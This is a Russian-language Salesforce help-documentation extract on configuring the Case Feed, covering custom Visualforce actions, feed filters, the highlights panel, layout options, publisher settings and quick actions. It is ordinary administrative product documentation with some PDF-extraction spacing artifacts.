Добавление настраиваемых действий в ленту обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления
настраиваемых действий в
ленту обращений:
• «Настройка

приложения»

Чтобы предоставить агентам службы поддержки удобный доступ к дополнительным
инструментам и функциям, необходимым для обработки обращений, рекомендуем
дополнить публикатор ленты обращений настраиваемыми действиями.

Действия ленты обращений позволяют агентам службы поддержки выполнять разные
задачи (например, отправлять сообщения эл. почты клиентам, создавать примечания к
обращениямиизменять статусыобращений). СтраницыVisualforceпозволяютсоздавать
настраиваемыедействия, предоставляющиеагентамдоступкдополнительнымфункциям.
Например, создайте действие «Карта и локальный поиск», позволяющее агентам
определять местоположение клиента и находить ближайшие центры обслуживания.

Система поддерживает любую страницу Visualforce, использующую стандартный
контроллер обращения в качестве настраиваемого действия.

Прим.: Дополнительныеинструкцииподобавлениюдействийприиспользовании
расширенного редактора макетов страниц для настройки публикатора в макете
ленты обращений см. в разделе «Настройка публикатора ленты обращений
посредством расширенного редактора макетов страниц».

1. Откройте страницу «Макеты страниц» посредством параметров управления
обращениями.

2. В зависимости от используемого типа макета страницы, выберите один из
перечисленныхниже способов доступа к странице «Параметрылентыобращений».

• Щелкните ссылку «Правка»напротивнужногомакета в разделе «Обращение: макеты страниц», а затемщелкните
ссылку «Представление ленты» в редакторе макетов страниц.

• Нажмитекнопку напротивнужногомакета вразделе «Макетыстраницдляпользователейлентыобращений»
ивыберите «Редактировать представление ленты». (Данныйразделотображаетсятолькоорганизациям, созданным
до выпуска Spring'14.)

3. Щелкните «+ Добавить страницу Visualforce» в списке настраиваемых действий.

4. Выберите нужную страницу.

5. Укажите высоту действия в пикселах.
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6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка ленты обращений

Поиск по параметрам управления объектами

Создание настраиваемых фильтров ленты для ленты обращений

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования макетов
страниц:
• «Настройка

приложения»

Для назначения макетов
страниц:
• «Управление

пользователями»

Настраиваемыефильтрылентыпозволяютагентамслужбыподдержкиконцентрировать
свое внимание на наиболее важных элементах.

1. Введитестроку «Обращения» вполе «Быстрый поиск» меню «Настройка» ивыберите
пункт «Фильтры ленты».

2. Нажмите кнопку «Создать».

3. Введите метку, имя и описание фильтра в разделе «Сведения о фильтре ленты».

4. Определите способ заполнения данного фильтра в разделе «Критерии фильтра
ленты». При необходимости создайте дополнительные уточненные фильтры
посредством функции «ИЛИ».

ОписаниеПоле

Данное поле определяет тип ленты для добавления в
фильтр. Например, тип элемента ленты «Созданная
запись» отображает элементы ленты о новых записях.

Тип элемента ленты

Данное поле определяет объект, связанный с
выбранным элементом ленты. Список содержит все
объекты, связанныесобъектом «Обращение». Объекты,
доступные в списке, определяются настройками
организации. Например, при выборе типа элемента
ленты «Созданная запись» объект «Обращение» может
быть выбран в качестве связанного. Таким образом,
данныйфильтр отображает новые обращения.

Связанный объект

Данное поле определяет необходимость добавления
элемента ленты в фильтр на основе доступности

Доступность

элемента ленты. Доступность определяется
параметрами безопасности и общего доступа для
связанного объекта. Доступные значения: «Все
пользователи» и «Внутренние пользователи».
Например, при выборе типа элемента ленты «Лента
комментариевкобращению» доступностиможетбыть
задано значение «Внутренние пользователи». Таким
образом, данныйфильтр ленты отображает
комментариикобращению, добавленныевнутренними
пользователями.

5. Нажмите кнопку «Сохранить».
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6. После определения настраиваемыхфильтров ленты рекомендуем добавитьфильтры в список выбранныхфильтров
в разделе «Параметрыфильтров ленты» настроек «Представление ленты» макета страницы.

Пример: Чтобы создать фильтр, отображающий взаимодействия с клиентом, рекомендуем определить фильтр
«Взаимодействие с клиентами», использующий указанные ниже критерии.

• Критерий 1. Тип элемента ленты «Комментарий к обращению» со значением доступности «Все пользователи».

• Критерий 2. Тип элемента ленты «Сообщение эл. почты» со значением доступности «Все пользователи».

• Критерий 3. Тип элемента ленты «Сообщение Chatter» со значением доступности «Все пользователи».

При применении данного фильтра лента обращений отображает только элементы ленты «Комментарий к
обращению», «Сообщение эл. почты» и «Chatter», доступные внешними внутреннимпользователям. Все остальное
отфильтровывается.

СМ. ТАКЖЕ:

Создание и редактирование макетов ленты в ленте обращений

Параметры для представлений ленты в ленте обращений

Общие сведения о макетах страниц ленты обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобыопределитьполя, инструментыифункции, доступныеагентамслужбыподдержки
при обработке обращений, рекомендуем настроить представление ленты, подробное
представление, панель основных показателей и страницу закрытия обращения.

Лента обращений позволяет настраивать макеты страниц четырех типов.

• Представления ленты (отображаются при управлении и обработке обращений).

• Подробные представления (отображаются при нажатии «Просмотр сведений об
обращении»).

• Панели основных показателей (отображаются вверху лент и страниц сведений об
обращениях).

• Представления для закрытия обращения (отображаются при закрытии обращений
на странице сведений об обращении).

В разделе параметров управления объектами для обращений можно создавать, редактировать и назначать все четыре
типа макетов в разделе «Макеты страниц».

СМ. ТАКЖЕ:

Создание и редактирование макетов ленты в ленте обращений

Настройка публикатора ленты обращений посредством расширенного редактора макетов страниц

Настройка панели основных показателей в ленте обращений

Поиск по параметрам управления объектами
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Настройка панели основных показателей в ленте обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования макетов
страниц:
• «Настройка

приложения»

Для назначения макетов
страниц:
• «Управление

пользователями»

Панель основных показателей отображается вверху подробного представления ленты
и содержит наиболее важные сведения об обращении. Панель основных показателей
может быть дополнена полями, необходимыми агентам службыподдержки для работы.

1. Откройте страницу «Макеты страниц» посредством параметров управления
обращениями.

2. В разделе «Макеты страниц для пользователей ленты обращений» нажмите кнопку
напротив нужного макета и выберите «Редактировать подробное

представление».

3. Наведитеуказательмышинапанельосновныхпоказателейищелкнитеотображаемый

значок .

4. Чтобы изменить поля, щелкните нужную область на странице «Свойства панели
основных показателей».

5. Чтобы выбрать тип информации для добавления в каждое поле, воспользуйтесь
раскрывающимсясписком. Чтобыоставитьполенезаполненным, выберите значение
«Нет». Поля «Номер обращения» и «Дата создания» не могут быть перемещены
или удалены.

6. Нажмите кнопку «OK».

СМ. ТАКЖЕ:

Настройка ленты обращений

Поиск по параметрам управления объектами
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Создание и редактирование макетов ленты в ленте обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования макетов
страниц:
• «Настройка

приложения»

Для назначения макетов
страниц:
• «Управление

пользователями»

Макетыстраницыпросмотралентыопределяютдействия, поляиинструменты, доступные
пользователям при работе с обращениями в ленте обращений. Система Salesforce
позволяет создавать разные макеты и назначать их разным профилям пользователей.
Например, один макет может быть предназначен для агентов, а второй для их
руководителей.

Прим.: Прежде чем создать макет страницы просмотра ленты, добавьте новый
макет страницы сведений об обращении.

1. Откройте страницу «Макеты страниц» посредством параметров управления
обращениями.

2. В зависимости от используемого типа макета страницы, выберите один из
перечисленныхниже способов доступа к странице «Параметрылентыобращений».

• Щелкните ссылку «Правка» напротив нужного макета в разделе «Обращение:
макеты страниц», а затемщелкните ссылку «Представлениеленты» в редакторе
макетов страниц.

• Нажмите кнопку напротив нужного макета в разделе «Макеты страниц для
пользователей ленты обращений» и выберите «Редактировать представление
ленты». (Данный раздел отображается только организациям, созданным до
выпуска Spring'14.)

Чтобыдобавить, изменитьилиудалитьдействияприиспользованиирасширенного
редактора макетов страниц для настройки публикатора в макете, выберите
«Редактировать подробное представление».

3. Выберите инструменты, компоненты и параметры для страницы просмотра ленты.

4. Нажмите кнопку «Сохранить».

Созданные или измененные макеты страницы просмотра ленты могут быть назначены профилям.

СМ. ТАКЖЕ:

Общие сведения о макетах страниц ленты обращений

Настройка публикатора ленты обращений посредством расширенного редактора макетов страниц

Поиск по параметрам управления объектами

Параметры для представлений ленты в ленте обращений

Параметры позволяют настроить ленту обращений в соответствии с текущими процессами и бизнес-требованиями
службы поддержки.

Рекомендуем применять данные параметры при создании или обновлении представлений ленты для ленты обращений.
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Параметры представления ленты

ПримечанияИспользованиеПараметр

Область страницы, занимаемая лентой при
включении данного параметра, определяется

Отображение ленты по всей ширине
страницы при просмотре обращений

Включить полноширинное
представление ленты на
консоли наличием инструментов или компонентов в

правом столбце макета ленты обращений, а
на вкладках или вложенных вкладках
консоли Salesforce.

также наличием компонентов боковой панели
консоли.

Данный параметр включается автоматически
для организаций, созданных после выпуска
Summer'14.

Компактная лента позволяет агентам
просматривать дополнительные сведения об
обращении без лишней прокрутки.

Данный параметр доступен только при
включении параметров «Действия в

Обновление внешнего вида
представления ленты и уменьшение
элементов ленты при просмотре
обращений на вкладках или
вложенныхвкладкахконсоли Salesforce.

Включить компактное
представление ленты на
консоли

публикаторе» и «Использовать редактор
макетов страниц для настройки действий».

Данный параметр доступен только для
компактной ленты.

Определение элементов ленты,
доступных внешним пользователям,
путемизмененияцветафона элемента
ленты на оранжевый.

Выделить элементы ленты,
поддерживающие внешнее
отображение

Если включены оба параметра — данный
параметр и «Включить ленту обращений
сообщества», — то в потоке обращения
выделяются следующие элементы потока.

• Общедоступные сообщения эл. почты,
отправленные или полученные с адреса эл.
почты контакта обращения

• Общедоступные комментарии к
обращениям

• Все сообщения в соц. сетях

• Вопросы, расширенные из сообществ

• Задачи с параметрами «Все с доступом» и
«Общедоступный»

• События с параметрами «Все с доступом» и
«Общедоступный»

• Сообщения Chatter с параметрами «Все с
доступом» и «Общедоступный»

См. также Настройка ленты обращений
сообщества.
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Параметры публикатора

ПримечанияИспользованиеПараметр

Данный параметр отображается только
организациям, включившим параметр
«Действия в публикаторе».

Использование расширенного
редактора макетов страниц по
умолчанию для выбора действий,
отображаемых в публикаторе ленты
обращений.

Использовать редактор
макетов страниц для
настройки действий

Данный параметр включается автоматически
для организаций, созданных после выпуска

Автоматическое свертывание
неиспользуемого публикатора для

Автоматическое свертывание
публикатора

Summer'14, и доступен только при включенииболее полного отображения ленты.
параметров «Действия в публикаторе» иЧтобы развернуть публикатор, агент

должен щелкнуть внутри него. «Использовать редактор макетов страниц для
настройки действий».

Выбор и настройка действий

ПримечанияИспользованиеПараметр

Данныйпараметротображается толькопри
снятиифлажка «Использовать редактор

Выбор области отображения меню
публикатора: средний или левый столбец.

Расположение меню

макетов страниц для настройки
действий».

Данныйпараметротображается толькопри
снятиифлажка «Использовать редактор

Выбор не более 10 настраиваемых страниц
Visualforce для добавления в качестве
действий публикатора. Страницы должны

Настраиваемые действия

макетов страниц для настройки
действий».использовать стандартный контроллер

обращения.

Данныйпараметротображается толькопри
снятиифлажка «Использовать редактор

Выбор действий для добавления в
публикаторлентыобращенийиизменение
порядка их отображения.

Выбрать действие

макетов страниц для настройки
действий».

Действие «Записать вызов в журнал»

ПримечанияИспользованиеПараметр

По умолчанию действие «Записать вызов в
журнал» содержит поле «Имя клиента».

Поля типа «Область обогащенного текста»
не могут быть добавлены в действия ленты
обращений.

Выбор полей для добавления в действие
«Записать вызов в журнал».

Выбрать поля действия
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Действие «Изменить статус»

ПримечанияИспользованиеПараметр

Поумолчаниюдействие «Изменить статус»
содержит поля «Текущий статус» и

Выбор полей для добавления в действие
«Изменить статус».

Выбрать поля действия

«Изменить на:». Поле «Статус»,
добавляемое в действие, автоматически
заменяет оба поля.

Поля типа «Область обогащенного текста»
не могут быть добавлены в действия ленты
обращений.

Действие «Эл. почта»

ПримечанияИспользованиеПараметр

Все добавляемые поля отображаются под
полем текста сообщения эл. почты.

Поля типа «Область обогащенного текста»
не могут быть добавлены в действия ленты
обращений.

Выбор полей для добавления в действие
«Эл. почта».

Выбрать поля действия

По умолчанию заголовок действия «Эл.
почта» содержитполя «От», «Кому», «СК»
и «Тема».

Выбор полей для добавления в заголовок
действия «Эл. почта».

Выбрать поля заголовка

По умолчанию агентам доступны
следующие инструменты: «Шаблоны»,
«Вложения» и «Кнопки поиска адреса».

Выборинструментов, которыедолжныбыть
доступны агентам при использовании
действия «Эл. почта».

Выбрать инструменты эл.
почты

Кнопка , отображаемая в строке меню
редактора, позволяет агентам включать
режим обычного текста.

Предоставление агентам доступа к
редактору обогащенного текста для
форматирования сообщений эл. почты
(например, изменение шрифта, создание

Включить редактор
обогащенного текста

маркированныхилинумерованныхсписков
и вставка ссылок или встроенных
изображений).

Данный параметр гарантирует создание и
отправку только отформатированных
сообщений эл. почты.

Предотвращение включения режима
обычного текста при создании сообщения
эл. почты.

Требовать использование
редактора обогащенного
текста

Привводенесколькихадресоврекомендуем
использовать запятые. Данныеадресабудут

Автоматическоедобавлениеопределенных
адресов эл. почты в поле «От».

Укажите адреса отправителя

отображаться как раскрывающийся список
в заголовке действия «Эл. почта».
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ПримечанияИспользованиеПараметр

Разрешаетсяиспользовать толькоадреса эл.
почтыотправителя, проверенныесистемой
Salesforce.

Несмотря на выбор других действий или
областей страницы, развернутый текст

Автоматическое свертывание поля текста
сообщения эл. почты. Благодаря

Разрешить свертываемое
поле текста

сообщенияэл. почтысворачиваетсятолько
после повторной загрузки страницы.

автоматическому свертыванию текста,
агентам доступно более полное
отображение действия «Эл. почта».

Данный параметр позволяет агентам
разворачивать и сворачивать заголовок по
мере необходимости.

Автоматическое свертывание заголовка
сообщения эл. почты, который
разворачивается только при нажатии

кнопки .

Разрешить свертываемый
заголовок сообщения эл.
почты

Данныйпараметрпрепятствуетдобавлению
предыдущих сообщений эл. почты в
исходящее сообщение эл. почты.

Исключение предыдущих сообщений эл.
почты при создании сообщений эл. почты
в ленте.

Исключить поток эл.
почты из черновиков

Разрешается использовать любую
настраиваемую кнопку, созданную для

Выбор кнопки для замены стандартной
кнопки «Отправить эл. почту». Данный

Заменить кнопку
«Отправить эл. почту»
на: обращений, кроме тех, где элемент S-Control

используется в качестве источника
содержимого.

параметр позволяет изменять метку или
внешний вид кнопки и добавлять
настраиваемые функции (например,
инициирование бизнес-правила при
отправке сообщения агентом).

Инструменты ленты обращений

ПримечанияИспользованиеПараметр

По умолчанию агентам доступен
инструмент «Статьи», которыйотображается

Выборинструментов, которыедолжныбыть
доступныагентамприиспользованииленты
обращений.

Выбрать инструменты ленты
обращений

на странице «Лента обращений» только
организациям, использующим компонент
Salesforce Knowledge.

Инструмент «Статьи»

ПримечанияИспользованиеПараметр

Данный параметр отображается только
организациям, использующим компонент

Предоставление агентам возможности
добавления PDF-версий статей базы знаний
в сообщения эл. почты.

Включить PDF-вложения
эл. почты

Salesforce Knowledge. Если организация
использует базу знаний, но не включает
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ПримечанияИспользованиеПараметр

данныйпараметр, тоагентымогутдобавлять
статьи только в обращения.

Данный параметр отображается только
организациям, использующим компонент

Замена боковой панели базы знаний на
консоли Salesforce инструментом ленты
обращений «Статьи».

Использовать инструмент
ленты обращений «Статьи»
на консоли Salesforce Knowledge. Если организация

использует базу знаний, но не включает
данный параметр, рекомендуем скрыть
инструментлентыобращений «Статьи» или
боковую панель базы знаний на консоли
Salesforce; в этом случае, агентам,
обрабатывающим обращения на консоли,
будет отображаться только один
инструмент.

Другие инструменты и компоненты

ПримечанияИспользованиеПараметр

При необходимости измените высоту и
выберите область отображения
добавленной страницы Visualforce.

Выбор не более 10 настраиваемых страниц
Visualforce для добавления в качестве
компонентов. Любая страница Visualforce,
содержащая стандартный контроллер

Настраиваемые компоненты

обращения, может использоваться в
качестве настраиваемого компонента.

Настраиваемые ссылки и кнопки доступны
как компоненты правой боковой панели в

Выборобластиотображенияинструментов
и компонентов (например, настраиваемые

Выбрать расположение

макете страницы просмотра ленты толькокнопки, настраиваемые ссылки и список
в том случае, если они добавлены вотслеживающих) на странице. При
связанный макет страницы сведений об
обращении.

Средствоотслеживанияконтрольныхточек
доступно только организациям,

необходимости скройте любые
инструменты и компоненты, которые
должны быть недоступны агентам.

включившимфункцию управления
правами.

Список «Темы» доступен только
организациям, включившим темы для
обращений.
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Параметрыфильтрации

ПримечанияИспользованиеПараметр

Чтобы разрешить отображение списка
фильтров ленты по мере прокручивания

Выбор области и способа отображения
фильтров ленты.

Фильтры отображаются как:

страницы, выберитезначение «Плавающий• Фиксированныйсписоквлевомстолбце
список в левом столбце». Рекомендуем

• Плавающий список в левом столбце использовать данный способ при работе с
• Раскрывающийся список в среднем

столбце
длиннымилентами, таккакагентыполучают
возможность быстрой фильтрации
связанных действий в любой области
страницы.

Рекомендуем размещать наиболее
популярные фильтры вверху списка.

Выбор фильтров для добавления в список
фильтров лентыиопределениепорядка их
отображения.

Выбрать фильтры

СМ. ТАКЖЕ:

Настройка публикатора ленты обращений посредством расширенного редактора макетов страниц

Добавление компонента «Вложение» в ленту обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования макетов
страниц:
• «Настройка

приложения»

Для назначения макетов
страниц:
• «Управление

пользователями»

Чтобы предоставить агентам службы поддержки возможность быстрого просмотра и
управлениявсемифайлами, связаннымисобращением, рекомендуемдобавитькомпонент
«Вложение» на страницу «Лента обращений».

Всефайлы, связанныесобращением, должныбытьдоступныагентамслужбыподдержки
при работе с клиентами. Компонент «Вложение» позволяет агентам просматривать и
управлятьвсемифайлами Chatter, вложениямиэл. почтыифайламииз связанногосписка
«Вложения» записи обращения прямо на странице «Лента обращений». Используя
данный компонент, агенты могут быстро загружать и добавлять нужные файлы в
сообщения эл. почты.

Агентымогутпереключатьсямеждупредставлением, содержащимпоследниевложения
кобращениювовсехисточниках, ипредставлением, содержащимвсе связанныефайлы,
отсортированные по дате создания.

1. Откройте страницу «Макеты страниц» посредством параметров управления
обращениями.

2. В зависимости от используемого типа макета страницы, выберите один из
перечисленныхниже способов доступа к странице «Параметрылентыобращений».

• Щелкните ссылку «Правка» напротив нужного макета в разделе «Обращение:
макеты страниц», а затемщелкните ссылку «Представлениеленты» в редакторе
макетов страниц.

• Нажмите кнопку напротив нужного макета в разделе «Макеты страниц для
пользователей ленты обращений» и выберите «Редактировать представление
ленты». (Данный раздел отображается только организациям, созданным до
выпуска Spring'14.)
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3. Выберитекомпонент «Файлы» вразделе «Другиеинструментыикомпоненты» иопределитеобласть егоотображения
на странице.

4. Нажмите кнопку «Сохранить».

Чтобы добавить компонент «Вложение» на настраиваемые страницы, добавьте компонент
<support:caseUnifiedFiles> на страницу Visualforce. Чтобы предоставить агентам доступ к данному компоненту
без добавления на страницу «Лента обращений», добавьте его как компонент консоли Salesforce.

СМ. ТАКЖЕ:

Поиск по параметрам управления объектами

Настройка публикатора ленты обращений посредством расширенного редактора макетов страниц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки публикатора
ленты обращений:
• «Настройка

приложения»

Если организация использует функцию «Действия в публикаторе», то расширенный
редактормакетовстраницможетиспользоватьсядлявыборадействий, отображающихся
в публикаторе ленты обращений.

Прим.: ДаннаяфункциявключенапоумолчаниюдляновыхорганизацийSalesforce,
использующих ленту обращений, и организаций, активировавших ленту
обращений после выпуска Summer'13.

1. Откройте страницу «Макеты страниц» посредством параметров управления
обращениями.

2. В зависимости от используемого типа макета страницы, выберите один из
перечисленныхниже способов доступа к странице «Параметрылентыобращений».

• Щелкните ссылку «Правка» напротив нужного макета в разделе «Обращение:
макеты страниц», а затемщелкните ссылку «Представлениеленты» в редакторе
макетов страниц.

• Нажмите кнопку напротив нужного макета в разделе «Макеты страниц для
пользователей ленты обращений» и выберите «Редактировать представление
ленты». (Данный раздел отображается только организациям, созданным до
выпуска Spring'14.)

3. Установите флажок «Использовать редактор макетов страниц для настройки действий».

4. Нажмите кнопку «Сохранить».

5. Чтобы открыть редактор макетов страниц, выполните указанные ниже действия.

• Щелкните ссылку «Правка» напротив нужного макета в разделе «Обращение: макеты страниц».

• Нажмитекнопку напротивнужногомакета вразделе «Макетыстраницдляпользователейлентыобращений»
и выберите «Редактировать подробное представление». (Данный раздел отображается только организациям,
созданным до выпуска Spring'14.)

6. В редакторе макета страницыщелкните элемент в разделе Быстрые действия в приложении Salesforce Classic в
разделе Издатель.

7. Щелкните «Быстрые действия» на палитре.

8. Перетащите нужные действия в раздел Быстрые действия в Salesforce Classic в разделе Publisher. При необходимости
измените порядок отображения действий и удалите некоторые действия.
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Публикатор на странице «Лента обращений» отображает не более 5-6 действий; остальные действия добавляются в
раскрывающийся список «Дополнительно».

9. Нажмите кнопку «Сохранить».

Еслистраница «Параметрылентыобращений» использоваласьранее длянастройкипубликатора, топрипереключении
на расширенный редактор макетов страниц доступны перечисленные ниже отличия.

• Список действийотображается вверху публикатора. Список действийнеможет быть размещен слева от публикатора.

• Действие «Ответить клиенту» представлено двумя действиями: «Эл. почта» и «Портал».

• Список действий напоминает публикатор Chatter на других страницах.

• СтандартныедействияChatter («Сообщение», «Файл», «Ссылка», «Опрос», «Вопрос» и «Благодарность») автоматически
отображаются вмакетепубликатораи заменяютдействие «Добавитьпримечаниекобращению». Принеобходимости
измените порядок отображения данных действий или удалите ненужные действия.

• Раскрывающийся список «Представление ленты/сведения» заменяет действие «Просмотр сведений об обращении».

• Доступ к настраиваемым действиям, добавленным в публикатор ленты обращений ранее, не предоставляется.
Рекомендуемсоздатьидобавитьнастраиваемыедействия впубликатор. Данныеновыедействиядолжныиспользовать
publisher.js вместо interaction.js.

• Страница сведений об обращении, поддерживающая отображение по всей ширине, позволяет просматривать все
связанные списки и прочие данные.

СМ. ТАКЖЕ:

Общие сведения о макетах страниц ленты обращений

Создание и редактирование макетов ленты в ленте обращений

Поиск по параметрам управления объектами
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Преобразование макетов страниц для пользователей ленты обращений в макеты страниц обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования макетов
страниц:
• «Настройка

приложения»

Для назначения макетов
страниц:
• «Управление

пользователями»

Благодаря замене макетов страниц для пользователей ленты обращений макетами
страниц обращений на основе ленты, выпуск Spring'14 отличается более удобными
процессами создания и настройки макетов обращений. Преобразование устаревших
макетов страниц инициирует доступность расширенного редактора макетов страниц,
используемого для управления макетами, и более удобного способа назначения ленты
обращений пользователям.

Прим.: Макеты страниц для пользователей ленты обращений доступны только
организациям, созданным до выпуска Spring'14.

Макетыстраницобращенийнаосновелентыимакетыстраницдляпользователейленты
обращений поддерживают одинаковые функции: лента, содержащая публикатор с
действиями, фильтры ленты, инструменты (например, инструмент «Статьи») и
компоненты боковой панели (например, настраиваемые кнопки и ссылки); панель
основных показателей; страница сведений со связанными списками и другими
подробнымисведениямиобобращении. Чтобыназначитьпользователяммакетыстраниц
обращений на основе ленты, воспользуйтесь стандартным инструментом назначения
макетов страниц, позволяющим предоставлять доступ к ленте обращений без
использования наборов полномочий или настраиваемых профилей.

Чтобы преобразовать макеты страниц для пользователей ленты обращений в макеты
страниц обращений на основе ленты, выполните указанные ниже действия.

1. Откройте страницу «Макеты страниц» посредством параметров управления
обращениями.

2. Нажмите кнопку напротив нужного макета в списке «Макеты страниц для
пользователей ленты обращений» и выберите параметр «Преобразовать в макет
страницы обращений».

Данныйпараметрпозволяетпросматриватьпреобразованныймакетперед удалениемисходногомакета; для экономии
времени рекомендуем использовать параметр «Преобразовать в макет страницы и удалить».

3. Преобразованныймакетотображаетсявсписке «Обращение: макетыстраниц» посредствомпрефикса «Преобразовано:».
Щелкните ссылку «Правка» напротив нужного макета.

4. Подтвердите содержимое макета в редакторе макетов страниц. Чтобы просмотреть и изменить содержимое
представления ленты, включая фильтры ленты и компоненты боковой панели, щелкните ссылку «Представление
ленты».

5. Чтобы назначить готовый макет страницы обращений соответствующим профилям пользователя, нажмите кнопку
«Назначение макета страницы» в списке «Обращение: макеты страниц».

Прим.: Еслинастраиваемыйпрофильиспользуетполномочие «Использование ленты обращений» илинабор
полномочий, содержащийполномочие «Использование ленты обращений», то данныеназначения страницы
активируются только после удаления полномочия или набора полномочий. Удаление полномочия
«Использование ленты обращений» из стандартных профилей недоступно организациям, созданным после
выпуска Winter'14, нодовыпуска Spring'14, поэтомуданныеназначения активируются толькопосле удалениявсех
макетов страниц для пользователей ленты обращений.

6. Нажмите кнопку напротив устаревшей версии макета в списке «Макеты страниц для пользователей ленты
обращений» и выберите параметр «Удалить». Нажмите кнопку «OK» в окне подтверждения.
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7. При наличии пользователей, назначенных удаляемому макету, система предлагает выбрать другой макет. Это просто
формальность: пользователям будет отображаться назначенный макет страницы обращений.

При наличии нескольких макетов для пользователей ленты обращений рекомендуем одновременно преобразовать и
удалить все макеты. Удаление последнего устаревшего макета инициирует исчезновение списка «Макеты страниц для
пользователей ленты обращений».

СМ. ТАКЖЕ:

Создание и редактирование макетов ленты в ленте обращений

Настройка публикатора ленты обращений посредством расширенного редактора макетов страниц

Назначение макетов страниц на странице «Макеты страниц» или «Типы записей» раздела «Настроить»

Поиск по параметрам управления объектами

Добавление глобальных действий и настраиваемых быстрых действий в качестве компонентов
боковой панели консоли

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания действий:
• «Настройка

приложения»

Для добавления
настраиваемых компонентов
консоли:
• «Настройка

приложения»

Можно добавить глобальные действия и настраиваемые быстрые действия в качестве
компонентов боковой панели консоли служб, чтобы агенты могли создавать записи,
обновлятьсведенияпообращениям, искатьсоответствующуюинформациюиссылаться
на родительские записи, не покидая текущую вкладку. Можно использовать быстрые
действия для замены страницы сведений об обращении, чтобы агенты могли
просматривать связанные с обращением данные, например контакты и активы, в своем
основном бизнес-правиле.

1. Создайте глобальное действие (для действия «Создать») и настраиваемое быстрое
действие (для действия «Обновить»)

Действияпо созданиюдолжныбыть глобальнымибыстрымидействиями. Действия
по обновлению должны быть объектными быстрыми действиями, которые
основываются на типе объекта «Поле поиска». Например, для обновления поля
поиска контакта следует использовать контактное действие обновления.

2. Добавьте действия в качестве компонентов на макеты страниц обращений, чтобы
быстрые действия были доступны агентам для использования.

a. В меню «Настройка» введите «Обращение» в поле «Быстрый поиск» и выберите
пункт «Макеты страницы».

b. Выберите нужную страну для добавления быстрых действий и нажмите
«Редактировать».

c. Щелкните «Настраиваемые компоненты консоли» на странице «Макет
обращения».

d. Перейдитевразделбоковойпанели, куданужнодобавитькомпонент (например, враздел «Леваябоковаяпанель»).

e. Для параметра «Тип» выберите «Поиск».

f. Для параметра «Поле» выберите соответствующее поле, которое будет обрабатывать быстрое действие.

g. Выберите «Включить создание ссылок», чтобы разрешить агентам службы поддержки осуществлять поиск
записи и ссылаться на соответствующую запись. Например, агент службы поддержки может ссылаться на имя
контакт в обращении.
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h. Дляпараметра «Создание действия» выберите глобальноедействие, котороесоздает запись. Например, глобальное
действие может создавать контакт.

i. Дляпараметра «Обновление действия» выберитебыстроедействие, котороеобновляетзапись. Например, быстрое
действие может обновлять поле контакта.

j. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Создание объектных быстрых действий

Создание глобальных быстрых действий

Создание глобальных быстрых действий

Добавление компонентов консоли в макеты страниц

Настройка обращений в Lightning Experience

ВЕРСИИ

Доступно в: Lightning
Experience.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки обращений
в Lightning Experience:
• «Управление

обращениями»

И

«Настройка
приложения»

ПреждечемиспользоватьлентуобращенийвLightning Experience, рекомендуемвоссоздать
стандартные публикаторы посредством быстрых действий.

В отличие от стандартных публикаторов ленты обращений, быстрые действия
отображаются на мобильных устройствах. Прежде чем использовать оформление
обращений, при котором лента отображается первой, рекомендуем воссоздать данные
публикаторы как быстрые действия.

• Создание быстрого действия «Записать вызов в журнал»

• Создание быстрого действия «Изменить статус»
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Создание быстрого действия «Записать вызов в журнал»

ВЕРСИИ

Доступно в: Lightning
Experience.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки обращений
в Lightning Experience:
• «Управление

обращениями»

И

«Настройка
приложения»

ПреждечемиспользоватьлентуобращенийвLightning Experience, рекомендуемвоссоздать
публикатор «Записать вызов в журнал» как быстрое действие.

1. Откройтестраницу «Кнопки, ссылкиидействия» посредствомпараметровуправления
обращениями.

2. Нажмите кнопку «Создать действие».

3. Выберите значение «Записать вызов в журнал» в раскрывающемся списке «Тип
действия».

4. Выберите значение «Записать вызов в журнал» в раскрывающемся списке «Тип
стандартной метки».

5. Нажмите кнопку «Сохранить».

6. Чтобы выбрать поля, отображаемые пользователям, настройте макет действия и
нажмите кнопку «Сохранить».

7. Перетащите новое быстрое действие в раздел «Действия Salesforce1 и Lightning
Experience» и нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка обращений в Lightning Experience

Создание объектных быстрых действий

Создание быстрого действия «Изменить статус»

ВЕРСИИ

Доступно в: Lightning
Experience.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

